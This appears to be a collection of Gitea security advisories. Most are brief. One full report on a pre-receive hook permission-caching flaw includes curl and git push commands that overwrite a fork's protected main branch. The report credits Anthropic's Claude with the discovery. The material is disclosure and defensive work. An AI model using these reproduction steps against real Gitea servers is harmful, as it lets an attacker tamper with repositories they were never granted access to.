Adding separators alone is not a complete fix if the post-verification code still trusts URL fields and looks up the artifact only by name/run context. Artifact-name validation is also hardening rather than a root-cause fix, because normal valid artifact names can contain digits and separators. The important security property is binding the signed URL to one canonical artifact, task, run, repository, owner, endpoint, and expiry.
Gitea actrunner with the Docker backend (through act 0.262.0) passes a workflow's container.options string to the Docker job container's HostConfig and, when configured with privileged: false, forces only the Privileged flag off while merging options such as --pid=host, --cap-add, and --security-opt unchanged. A user who can run a workflow on a Docker-backed runner can create a job container with host namespaces and broad capabilities and escape to the host as root despite privileged mode being disabled.
Gitea does not properly validate repository ownership when deleting Git LFS locks. A user with write access to one repository may be able to delete LFS locks belonging to other repositories.
Gitea does not properly validate project ownership in organization project operations. A user with project write access in one organization may be able to modify projects belonging to a different organization.
Gitea does not properly validate repository ownership when linking attachments to releases. An attachment uploaded to a private repository could potentially be linked to a release in a different public repository, making it accessible to unauthorized users.
Gitea versions before 1.25.5 do not persist the OAuth2 PKCE S256 challenge method correctly during authorization, allowing token exchange without the expected verifier check.
Gitea versions before 1.25.5 mishandle path resolution during template repository generation, allowing template processing to read or write through symlinked or otherwise non-regular paths.
Gitea versions before 1.25.5 do not consistently enforce OAuth2 authorization code expiry and single-use behavior during token exchange.
Gitea versions before 1.25.5 lack validation constraints for repository creation fields, including length-limited template fields and trust model or object format values.
Two SSRF vulnerabilities in Gitea migration/mirror (DNS rebinding + missing re-validation)
When Gitea's built-in SSH server is enabled (STARTSSHSERVER = true), the presented public key was looked up with an SQL LIKE comparison of its encoded content, which is case-insensitive on some databases, including the default SQLite. An attacker who can construct a case variant of another user's registered RSA public key for which they can derive the private key could have that key matched to the victim's account and authenticate over SSH as that user. Keys are now looked up by fingerprint.
Gitea accepted pushed Git trees containing two entries with the same name, which Git's own consistency checks reject. Gitea's web views resolved such a path to the first entry, while git checkout, Gitea Actions, and release archives use the last. A contributor could open a pull request whose diff and file views show benign content while CI and checkouts at the same commit use different, attacker-controlled content. Incoming objects are now checked for consistency; objects already stored in existing repositories are not rescanned.
Gitea's OAuth2 token endpoint verified the signature and grant of a token submitted with the refreshtoken grant type, but not that the token was a refresh token. An unexpired access token for the same OAuth2 application and grant could be exchanged for a new access token and refresh token. Whoever holds such an access token could keep access beyond the token's original lifetime.
Vulnerability Header
| Field | Value | | ------------------- | ----------------------------------------------------------------------------------- | | Vulnerability Title | Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write | | Severity Rating | High | | Bug Category | Authorization Bypass | | Location | routers/private/hookprereceive.go:55-64, CanWriteCode() | | Affected Versions | 1.25.5 |
Executive Summary
The pre-receive hook in Gitea evaluates the CanMaintainerWriteToBranch permission only once per git push session and caches the result for all subsequent refs in the same batch. An attacker who has a legitimate per-branch write grant (e.g., via an open pull request with "Allow edits from maintainers" enabled) can batch-push that branch together with any other ref. The cached true from the first ref is reused for all following refs, allowing the attacker to overwrite protected branches (including main), create arbitrary new branches, and push tags. This effectively escalates a single-branch maintainer-edit grant into full repository write access.
Root Cause Analysis
Technical Description
When processing a multi-ref git push, the HookPreReceive handler at hookprereceive.go:107 iterates over all incoming refs. For each branch ref, preReceiveBranch (:140) updates ctx.branchName to the current branch (:142) and then calls AssertCanWriteCode() (:144).
CanWriteCode() (:55-64) checks whether the user can write to the repository. On the first call, it evaluates issuesmodel.CanMaintainerWriteToBranch(ctx, userPerm, ctx.branchName, user) and stores the result in a boolean flag (canWriteCode) with a guard (checkedCanWriteCode). On all subsequent calls within the same batch, it returns the cached boolean without re-evaluating against the now-different ctx.branchName.
This means the permission check is branch-specific in its inputs but session-scoped in its caching — a classic check-vs-use divergence.
A second contributing factor is the AGit-flow relaxation at routers/web/repo/githttp.go:190-192 (and routers/private/serv.go:337-338), which downgrades the outer receive-pack access gate from Write to Read when git.DefaultFeatures().SupportProcReceive is true (git ≥ 2.29). This allows a user with only Read access on a repository to initiate a receive-pack session, deferring all authorization to the pre-receive hook — which contains the caching bug described above.
First Faulty Condition
| File | routers/private/hookprereceive.go | | --------- | ------------------------------------- | | Line | 55-64 | | Condition | CanWriteCode() evaluates the branch-specific CanMaintainerWriteToBranch check only on the first invocation and caches the result, reusing it for all subsequent refs in the batch regardless of which branch they target. |
Trace Analysis
The following is the path from the attacker's git push to the authorization fault:
1. POST /{owner}/{repo}.git/git-receive-pack → routers/web/repo/githttp.go:437 (ServiceReceivePack) → httpBase() (:60) - Access gate is downgraded from Write to Read at :190-192 due to AGit-flow support.
2. git receive-pack invokes the pre-receive hook → cmd/hook.go:184 (runHookPreReceive) → modules/private/hook.go:96 (HookPreReceive) → internal API → routers/private/hookprereceive.go:107 (HookPreReceive)
3. Loop at :117 iterates over all refs in the batch. For each branch ref, preReceiveBranch (:140) sets ctx.branchName at :142.
4. Fault: AssertCanWriteCode() (:144) → CanWriteCode() (:55-64). - First ref (feature-branch): checkedCanWriteCode is false → evaluates CanMaintainerWriteToBranch(ctx, userPerm, "feature-branch", user) → returns true (legitimate grant) → caches result. - Second ref (main): checkedCanWriteCode is already true → returns cached true without re-evaluating against "main".
5. Hook returns 200 → git receive-pack accepts all refs → main is overwritten in the victim's repository.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network | | --------------------------- | ----------------------------------------------------------------------------------- | | Authentication required | Low | | User interaction required | Required. Victim must enable "Allow edits from maintainers" on their PR | | Reachable in default config | Yes | | Entry point | git push over smart-HTTP or SSH with multiple refs in a single operation |
The attacker gains full write access to the victim's repository — equivalent to having push permissions on all refs. By controlling the order of refs in the batch (e.g., naming the granted branch so it sorts first), the attacker reliably ensures the legitimate ref is evaluated before the target. This is not a race condition; it is deterministic.
Reproduction Steps
Environment The issue was reproduced using Gitea v1.25.5 on Ubuntu 24.04.4 LTS.
Prerequisites: a Gitea instance with two users, attacker and victim.
bash 1. Attacker creates a repository (e.g., a popular open-source project) curl -X POST "http://attacker:pw@<gitea>/api/v1/user/repos" \ -H "Content-Type: application/json" \ -d '{"name": "project", "autoinit": true}'
2. Victim forks attacker's repository (standard contributor workflow) curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/forks" \ -H "Content-Type: application/json" \ -d '{}'
3. Victim creates a feature branch on their fork and commits a change curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/branches" \ -H "Content-Type: application/json" \ -d '{"newbranchname": "feature-branch", "oldbranchname": "main"}'
curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/contribution.txt" \ -H "Content-Type: application/json" \ -d '{"message": "Add contribution", "content": "'$(echo -n "victim contribution" | base64)'", "branch": "feature-branch"}'
4. Victim opens a PR from their feature branch into attacker/project with "Allow edits from maintainers" enabled curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/pulls" \ -H "Content-Type: application/json" \ -d '{"title": "Feature PR", "head": "victim:feature-branch", "base": "main", "allowmaintaineredit": true}'
At this point, the attacker (as maintainer of the base repo attacker/project) has a per-branch write grant on the victim's fork, scoped to the feature-branch branch only.
Attack
The attacker works from their own repo (attacker/project) bash 5. Attacker clones their own repo git clone http://attacker:pw@<gitea>/attacker/project.git && cd project
6. Attacker fetches the victim's PR branch git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch git checkout victim-feature-branch
7. Attacker adds a commit to the PR branch echo "legitimate change" > feature.txt && git add . && git commit -m "PR update"
8. Attacker also prepares a malicious commit on main git checkout main echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned"
9. Attacker pushes both refs to the victim's fork in a single operation — this is the exploit git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main
10. The change on both refs is visible regardless of PR status
Expected result: main should be rejected ("User permission denied for writing").
Actual result: Both refs are accepted. victim/project:main now contains the attacker's malicious commit.
bash Verify: victim checks their fork's main branch curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main" Returns attacker's "MALICIOUS CONTENT" — main has been overwritten
The same technique also works for pushing arbitrary tags (refs/tags/) and creating new branches.
Recommended Fix
Remove the caching in CanWriteCode() — the CanMaintainerWriteToBranch check must be evaluated for every ref in the batch, not cached after the first call. The checkedCanWriteCode / canWriteCode fields on preReceiveContext and the guard in CanWriteCode() at hookprereceive.go:55-64 should be removed, so the permission is evaluated fresh each time preReceiveBranch or preReceiveTag calls it. loadPusherAndPermission() already has its own caching (loadedPusher), so the per-call cost is limited to the CanMaintainerWriteToBranch query.
See diff.patch for the proposed fix.
Patch provenance: AI-generated, human-reviewed.
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Gitea Actions blocks the jobs of workflow runs from first-time fork pull request contributors until a maintainer approves the run. The rerun path only required a run to be finished and built the new attempt's jobs without considering the pending approval, so when a user with Actions write access cancelled a run that was awaiting approval and then re-ran it, the new jobs were created as waiting rather than blocked while the run still recorded that approval was required. Cancelling and re-running stale fork checks is a routine action that does not involve the approval control, so where Actions is enabled and a matching runner is registered, workflow code taken from the fork pull request head could run on the repository's runners without an explicit approval.
A user who can open a fork pull request can place workflow content with a shared run-level concurrency group into a Gitea Actions run that is awaiting approval. When a later run in that group cancels the blocked job, the run becomes terminal while still marked as needing approval. If a maintainer later approves the run, Gitea passed the already-cancelled job back through concurrency preparation, set it to waiting, and made it claimable by a matching runner, executing fork-controlled workflow code. Exploitation requires the maintainer's later approval action, Actions to be enabled, and a runner that accepts the repository's jobs.
models/repomirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to remote code execution.